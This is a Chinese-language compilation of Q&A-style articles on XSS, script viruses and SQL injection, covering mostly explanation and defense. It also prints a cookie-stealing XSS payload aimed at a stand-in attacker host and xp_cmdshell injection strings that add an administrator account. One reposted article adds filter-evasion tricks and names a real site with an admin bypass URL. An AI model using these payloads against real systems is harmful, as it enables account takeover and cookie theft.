① 跨站腳本攻擊的危害
為了搜集用戶信息,攻擊者通常會在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺騙用戶(詳見下文)。一旦得手,他們可以盜取用戶帳戶,修改用戶設置,盜取/污染cookie,做虛假廣告等。每天都有大量的XSS攻擊的惡意代碼出現。 Brett Moore的下面這篇文章詳細地闡述了「拒絕服務攻擊」以及用戶僅僅閱讀一篇文章就會受到的「自動攻擊」。 1.HTML注入。所有HTML注入範例只是注入一個JavaScript彈出式的警告框:alert(1)。
2.做壞事。如果您覺得警告框還不夠刺激,當受害者點擊了一個被注入了HTML代碼的頁面鏈接時攻擊者能作的各種的惡意事情。
3.誘捕受害者。 「微博病毒」攻擊事件
回顧:
2011年6月28日晚,新浪微博出現了一次比較大的XSS攻擊事件。大量用戶自動發送諸如:「郭美美事件的一些未注意到的細節」,「建黨大業中穿幫的地方」,「讓女人心動的100句詩歌」,「3D肉團團高清普通話版種子」,「這是傳說中的神仙眷侶啊」,「驚爆!范冰冰艷照真流出了」等等微博和私信,並自動關注一位名為hellosamy的用戶。
事件的經過線索如下:
20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
20:30,某網站中的病毒頁面無法訪問
20:32,新浪微博中hellosamy用戶無法訪問
21:02,新浪漏洞修補完畢 隨著AJAX(Asynchronous JavaScript and XML,非同步JavaScript和XML)技術的普遍應用,XSS的攻擊危害將被放大。使用AJAX的最大優點,就是可以不用更新整個頁面來維護數據,Web應用可以更迅速地響應用戶請求。AJAX會處理來自Web伺服器及源自第三方的豐富信息,這對XSS攻擊提供了良好的機會。AJAX應用架構會泄漏更多應用的細節,如函數和變數名稱、函數參數及返回類型、數據類型及有效范圍等。AJAX應用架構還有著較傳統架構更多的應用輸入,這就增加了可被攻擊的點。
② 什麼叫腳本病毒又何危害
腳本病毒
這類病毒編寫最為簡單,但造成的危害非常大。我們常見的瀏覽了xx站點就被改了主頁,在收藏夾里被添加上很多無謂的東西,就是拜這類病毒所賜。
病毒描述:這類病毒的本質是利用腳本解釋器的檢查漏洞和用戶許可權設置不當進行感染傳播;病毒本身是ascii碼或者加密的ascii碼,通過特定的腳本解釋器執行產生規定行為,因其行為對計算機用戶造成傷害,因此被定性為惡意程序。最常見的行為就是修改用戶主頁,搜索頁,修改用戶收藏夾,在每個文件夾下放置自動執行文件拖慢系統速度等;比較出名的如美利莎郵件病毒、新歡樂時光病毒、office的宏病毒等都屬於這類。
病毒淺析:為了完成一些自動化的任務,需要用程序方式來實現。但復雜的程序編寫又不是非程序人員能夠勝任的。為了提高工作效率,方便用戶操作,加強系統特性,於是許多軟體/操作系統都預留了介面給用戶,用簡單的方法編寫一些完成一定功能的小程序。程序本身是ascii碼的,不編譯,直接解釋執行,在調試/修改使用上相當簡便,雖然犧牲一定效率,但是換來了易用性。這本是一個良好的願望,但太多的時候,這沒有起到積極的作用,反而為腳本病毒編寫者提供了良機。
以web病毒為例,由於用戶缺乏安全意識用錯誤的許可權登陸,導致ie中的解釋器使用wsh可以操作硬碟上的文件和注冊表,而javascript和vbscript調用wsh是很容易的事情——於是惡意腳本的作者只需要讓你訪問該頁面,就能在你本地寫上一些惡意的腳本,在注冊表裡修改你的主頁/搜索項了。而利用ie的activex檢查漏洞,則可以在不提示地情況下從網路上下載文件並自動執行——這就成了木馬攻擊的前奏曲;利用mime頭漏洞,則可以用一個以jpg結尾的url中,指向一個事實上的web頁,然後在web頁中內嵌圖片+惡意代碼的方式迷惑計算機用戶;利用outlook自動讀去eml的特性和mime頭檢查不嚴格來執行惡意2進制代碼;利用本地硬碟上有執行autorun.inf的特性(這功能本來是光碟機用的,我們的光碟之所以放進去就能自動讀出程序,就是光碟上有個名為autorun.inf文件起的作用,它是個文本文件,各位可以看看)把一些需要載入的程序寫到該文件下導致每次訪問該分區的時候就會自動運行;利用windows下會優先讀取folder.htt和desktop.ini的特性,將惡意代碼寫入其中,導致訪問任何一個文件夾的時候都會啟動該病毒,再配合上鎖定注冊表的功能,殺除起來異常麻煩——不復雜,但是相當煩瑣,一不留意沒殺干凈一處,又導致死灰復燃,前功盡棄。
病毒自查:上面有提到,這類病毒一般以搗亂居多,所以特別容易發現。而其另一個作用是作為木馬進駐系統的先遣部隊,利用瀏覽器漏洞等達到下載木馬文件到本地硬碟,並修改啟動項,達到下次啟機運行的目的。因此一旦發現木馬的同時,也可以檢查一下是不是有些可疑的腳本文件。
病毒查殺:這類病毒一般來說由於其編寫靈活,源代碼公開,所以衍生版本格外地多;殺毒軟體/木馬殺除軟體對待這類病毒大多沒用。而由於腳本病毒(除宏病毒外)大多是獨立文件,只要將這些文件查找出來刪除掉就行了。不過這里值得留意的是,利用微軟的瀏覽器的漏洞,在點擊選擇某些文件的同時就自動執行了,甚至打開瀏覽器的同時腳本病毒就開始駐留感染——這樣是無法殺除干凈的。
正確的做法是使用其他第三方的資源瀏覽器,例如Total Command就是一個非常不錯的選擇。查殺大致過程如下:首先,在資源瀏覽器——工具——文件夾選項中,將「使用Windows傳統風格的桌面」取消掉,在桌面上點右鍵,點「屬性」——「桌面設置」,將使用活動桌面取消,接著查殺可疑對象;常見查殺對象:各個根分區下的autorun.inf,各個目錄下的desktop.ini和folder.htt(有幾個是系統自帶的,不過刪除了也無關系的),這一步最好採用第三方的資源瀏覽器,例如前面介紹的Total Command來完成。在這一步,最忌諱查殺不凈,即使有一個病毒遺漏,很快就又遍布各個文件夾內了。關於郵件病毒的殺除使用專殺工具就行了。
病毒殘留:純粹腳本病毒在殺除後不會有任何殘留,但由於目前的病毒大都採用復合形態,捆綁多種傳染方式和多種特性,因此不少腳本病毒只是將用戶機器的安全防線撕開的前奏——真正的破壞主力木馬、蠕蟲尾隨其後進入系統,因此在殺除掉腳本病毒後,非常有必要連帶著檢查系統中是否已經有了木馬和蠕蟲病毒。
病毒防禦:腳本病毒的特性之一就是被動觸發——因此防禦腳本病毒最好的方法是不訪問帶毒的文件/web網頁,在網路時代,腳本病毒更以欺騙的方式引誘人運行居多。由於ie本身存在多個漏洞,特別是執行activex的功能存在相當大的弊端,最近爆出的重大漏洞都和它有關,包括mozilla的windows版本也未能倖免。因此個人推薦使用myie2軟體代替ie作為默認瀏覽器,因為myie2中有個方便的功能是啟用/禁用web頁面的activex控制項,在默認的時候,可以將頁面中的activex控制項全部禁用,待訪問在線電影類等情況下根據自己的需要再啟用。關於郵件病毒,大多以eml作為文件後綴的,如果您單機有用outlook取信的習慣,最好准備一個能檢測郵件病毒的殺毒軟體並及時升級。如果非必要,將word等office軟體中的宏選項設置為禁用。腳本病毒是目前網路上最為常見的一類病毒,它編寫容易,源代碼公開,修改起來相當容易和方便,而且往往給用戶造成的巨大危害。
以上4類程序的介紹,為了降低學習難度,我是單態方式來介紹的。事實上目前的病毒大多以具有上面4類程序中的2到3類的特徵,因此無論感染,傳播,殺除的困難都大大增加。例如發文前夕的mydoom新變種病毒的分析中:它利用系統漏洞/郵件群發/共享漏洞方式傳播(具備了蠕蟲、腳本病毒和新型病毒的傳播特性),進駐用戶系統後上載自身並運行(木馬特性),獲取用戶本地outlook中的地址本(木馬特性),通過調用google等搜索引擎獲取用戶email地址本中同後綴的相關選項(調用系統程序,木馬功能),再主動給地址本中的每個程序發出email(木馬特性)。對待這樣一個病毒,無論是系統存在漏洞、共享安全設置不當、或者隨意地打開了「朋友」發來的email,都可能導致中毒。關於中毒途徑的分析,留待下一站《攻擊防禦之旅》內一並介紹。
在從第一個病毒出現到現在,已經有整整半個世紀了,病毒的發展日新月異,令查殺的困難大大增加,造成的損失也異常巨大。或許,計算機病毒這個幽靈,從計算機誕生的那一刻起就註定要如影相隨的。只要還有用心險惡的人存在,那麼病毒就不會消亡。病毒之戰,恐怕會在今後的日子裡越演越烈……
③ 腳本插入web應用的url 可造成哪些攻擊
有時候程序員為了偷懶或者是在無意識的情況下缺少了對外部數據的過濾,Web安全習慣上將所有用戶輸入的數據假定為受污染的數據(即可能帶有攻擊性的數據),現在比較流行的XSS(跨站腳本攻擊)就是利用對用戶輸入過濾不完全而進行的攻擊
④ 跨站腳本攻擊有哪些類型
1、持久型跨站:最直接的危害類型,跨站代碼存儲在伺服器(資料庫)。
2、非持久型跨站:反射型跨站腳本漏洞,最普遍的類型。用戶訪問伺服器-跨站鏈接-返回跨站代碼。
3、DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯導致的安全問題。
(4)腳本引起的攻擊行為擴展閱讀:
跨站腳本攻擊產生的原因是網站過於相信用戶的輸入,那麼解決的辦法也很直接,就是從根本上不相信用戶的任何輸入。一個安全的網站應當對任何用戶的任何輸入都要進行檢查,特別是對用戶提交到伺服器中保存的數據,更要做篩選。
這種攻擊與反射型攻擊不同的是,它會把自己的攻擊代碼保存在網站的伺服器上,這樣,任何訪問了這個頁面的用戶,都會受到這個攻擊。
⑤ 【web安全】xss跨站腳本攻擊有哪些
xss攻擊可以分成兩種類型:
1.非持久型攻擊
2.持久型攻擊
非持久型xss攻擊:顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改後的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執行,從而達到攻擊目的。
持久型xss攻擊:持久型xss,會把攻擊者的數據存儲在伺服器端,攻擊行為將伴隨著攻擊數據一直存在。
也可以分成三類:
反射型:經過後端,不經過資料庫
存儲型:經過後端,經過資料庫
DOM:不經過後端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是通過url傳入參數去控制觸發的。
⑥ 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法:
1.輸入過濾
對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.輸出過濾
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安裝三方的應用防火牆,可以攔截css攻擊。
附:
跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。
攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
⑦ 什麼是腳本攻擊
最近腳本攻擊好象是很流行的,不過早在很久前就有這個了!腳本攻擊嚴格的說應該是一件藝術而不是漏洞!首先我們先要知道什麼是腳本,腳本就是運行在網頁伺服器上的文本程序,例如:ASP、PHP、CGI、JSP、ISAP等等,腳本的攻擊就是利用這些文件的設置和編寫時的錯誤或者疏忽不當,攻擊者就可以利用這些來達到自己攻擊目的,如果一個伺服器存在這些漏洞,那麼它的淪陷也是時間的問題!
這些文本文件一般都是要結合資料庫來使用的,這些資料庫有ACCESS、MSsql、MYSQL、Oracle等!腳本攻擊就是針對這些資料庫來配合腳本對一些變數的過濾不嚴的問題來達到得到用戶密碼等敏感信息,修改資料庫等目的!下面我就針對這些來分別舉例說明!
一、跨站腳本的攻擊
腳本的跨站(CSS/XSS)就是利用程序對用戶提交的變數不嚴,大多數是利用多媒體標簽,前段時間比較流行的flash跨站就是利用的這個,比如我在[FLASH=450,350][/FLASH]之間插入一個我自己作好的一個swf文件,swf文件里我們用geturl里加上javascript:window.open('http://qfaq.yeah.net'就可以讓他打開清風安全網的網站,如果這里是一個木馬網頁,呵呵,,,你就等著中木馬吧!還有就是竊取用戶的cookie,例如我們利用也就是圖片的跨站,在這個裡面插入
這段地址即可得到!如果將javascript過濾掉後怎麼辦?
好,我們在看看下面這段代碼:
[upload=swf]uploadImages/200310812145390577.swf?">[/upload]
怎麼樣,還是能將你的信息得到的,而且還不會彈出對話框!
另外在joekoe論壇程序里還有一個這樣的問題,比如你發個帖子里有[DIR][/DIR]就會彈出一個播放器的安裝程序,呵呵,如果是一個黑心的站長利用這個來放馬,那後果就不用說了吧!
解決辦法:現在還沒有好的方法解決這個問題,你要做的就是將多媒體的標簽刪掉!
另附ASP和PHP的跨站代碼
php如下
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("test.txt","a";
fwrite($fp,$info."n";
fclose($fp);
}
?>
asp如下
二、sql injection
是現在最熱門的,也是本文要重點說的!
1、ASP+ACCESS資料庫類型的SQL注射
現在的大多數網站是採用的這個組合,但是如果在ASP程序中沒有對用戶提交的變數充分過濾的話就可能導致管理員密碼被猜到,整個網站的信息就會暴漏無移~!
在大多數ASP站點中,我們並不知道其程序代碼,靠任何掃描器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和「--」,所以我們就在可修改的URL後加上以上符號,或在表單中的文本框加上這些符號!比如比較經典的金梅系統漏洞,在movie.aps中有怎麼一段代碼:
articleid=request("id"
set rs=server.createobject("adodb.recordset"
sql="update learning set hits=hits+1 where articleID="&articleid
--------------------------------------------------------------------------------
2 [轉帖]腳本安全和利用
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1
articleid未經任何檢查便提交了,所以我們就可以自己構造一些SQL語句來提交上去!具體的利用過程請看拙作《SQL注入完整篇》和《SQL注入的補充》的動畫教程,這里我就不在重復的說了!
2、ASP+MYSQL資料庫類型的利用
MYSQL資料庫簡單使用和強大的功能一直以來都是網管們的最愛!但是如果是ASP中沒有對變數過濾的話,我們就可以來直接的到他的系統管理員許可權!
比如動網論壇、BBSXP論壇的SQL版有好幾個文件都沒有對ID過濾,所以我們只要找到他的存在問題的頁面就可以了,
看這段代碼:rs.open "select * from news where newsid=" & cstr(request("newsid"),conn,1,1
比如我們提交:
http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user xuehan ilovexuehan /add';--
http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net localgroup administrators xuehan /add';--
看到了嗎?我們已經在系統中田加了一個xuehan 密碼是ilovexuehan的管理員帳號,以下的事情你就自己來做吧,呵呵,,,不用我來教了吧!!!
如果過濾了分號和單引號怎麼辦?呵呵,我們只要將我們的命令形式轉換一下,比如我們轉換成十六進制或者別的形式就可以繼續注入了,還有就是他如果過濾了xp_cmdshell 我們也可以解決,我們可以寫成xp'+'_cmd'+'shell形式,如果他將xp_cmdshell 擴展刪掉,我們可以通過xplog70.dll文件來恢復,呵呵,,,具體自己查找下資料庫的知識,當然我們也可以用別的擴展!所以說SQL injection不僅僅是一門技術,更要有靈活的頭腦和扎實的資料庫知識,特別是對SQL語言的掌握程度,如果不會SQL語言,你永遠都是生搬硬套,遇到障礙就過不去了!
3、PHP+MYSQL資料庫類型
PHP+MYSQL一直以來都認為是最安全的組合,不過一些文件沒有過濾單引號、反斜線等,我們也可以來進行注入,不過在最新的php安裝程序里的php.ini文件默認都是對這些過濾掉的,所以很大情況下我們是無法對進行注入的,不過也有許多牛人們可以饒過這個限制的!由於我的PHP和MYSQL不是太懂,所以就不能來具體舉例來說明了,大家要是有興趣可以去找寫資料來看!!!
需要從根本上解決解決SQL Injection問題。還得從程序本身入手。過濾不能單純的過濾URL所提交的參數,在表單里的也要過濾,value=後面的可以修改的數據,修改後可以提交到伺服器,總之對所有的表單提交的數據以及用戶可能對HTML源文件進行修改來控制的所有來自Web伺服器外部的數據進行過濾或轉換,對單引號、雙引號、分號「--」還有對數字鍵上面的所有特殊字元進行過濾,還有QUERY_STRING環境變數。在伺服器上刪除一些危險的擴展存儲過程,比如xp_cmdshell。有條件裝個IDS更好,不敢說無堅不摧,但至少可以阻擋大部分攻擊者。
三、一些別的腳本攻擊
有些程序沒有對cookie或者session進行過濾和檢查,就造成了用戶可以非法修改提交頁面,自己提交修改數據,比如像海陽頂端網木馬的以前版本對session沒有過濾,我們就可以饒過密碼的驗證來到達真正的頁面,還有就是post提交的問題,像leadbbs的2.77版本就是沒有充分的過濾,我們就可以把管理員的密碼修改成自己的密碼!
還有一個腳本的攻擊例子,在Discuz! 2.0 論壇里,因為個人屬性缺乏必要的安全確認,所以很容易誘使其他會員自動修改其個人屬性內容,特別是注冊郵件信息,這關系著登陸密碼的修改。
比如我們發個帖子,寫上
誘使會員點擊這個頁面後,就會自動修改該會員注冊的email地址為crack.x.h2163.com。當然為了隱蔽性,可以更新後自動關閉,然後調用另外一個假地址。
當然我們也可以利用這個漏洞進行欺騙、隱藏來誘惑管理員來修改我們為管理員等等!大家自己去學習吧!
看了這么多枯燥的東西下面我們再來看看另外一個好玩的漏洞,在百渡里搜索」傳奇留言薄「找幾個免費的留言本進去,找到他的登陸頁面,我找到的一個是:
http://www.conanshome.com/guestbook/login.asp
我們再來看看下面這個連接:
http://www.conanshome.com/guestbook/admin.asp?adminid=admin
哈,怎麼我們就闖入後台了!!!
什麼原因,自己去琢磨吧!
後記:腳本的攻擊可以說是防不勝防的,我們所要做的只能是提高編寫程序的嚴謹態度,人為的因素在腳本攻擊中是最重要的!
聲明:本文提到的漏洞都有一定的攻擊性,我們的目的是探討技術,搞破壞的是小人!所造成的一切後果於作者無關!由於作者水平有限,文中難免有錯誤之處,歡迎指出!
⑧ 跨站腳本攻擊是什麼意思
XSS,跨站腳本攻擊,Cross-Site
Scripting,為了和前端的CSS避免重名,簡稱為XSS,是指通過技術手段,向正常用戶請求的HTML頁面中插入惡意腳本,執行。
這種攻擊主要是用於信息竊取和破壞等目的。在防範XSS上,主要就是通過對用戶輸入的數據做過濾或者或者轉義,可以使用框架提供的工具類HTML
Util,另外前端在瀏覽器展示數據的時候,要使用安全的API展示數據。比如使用inner text而不是inner HTML。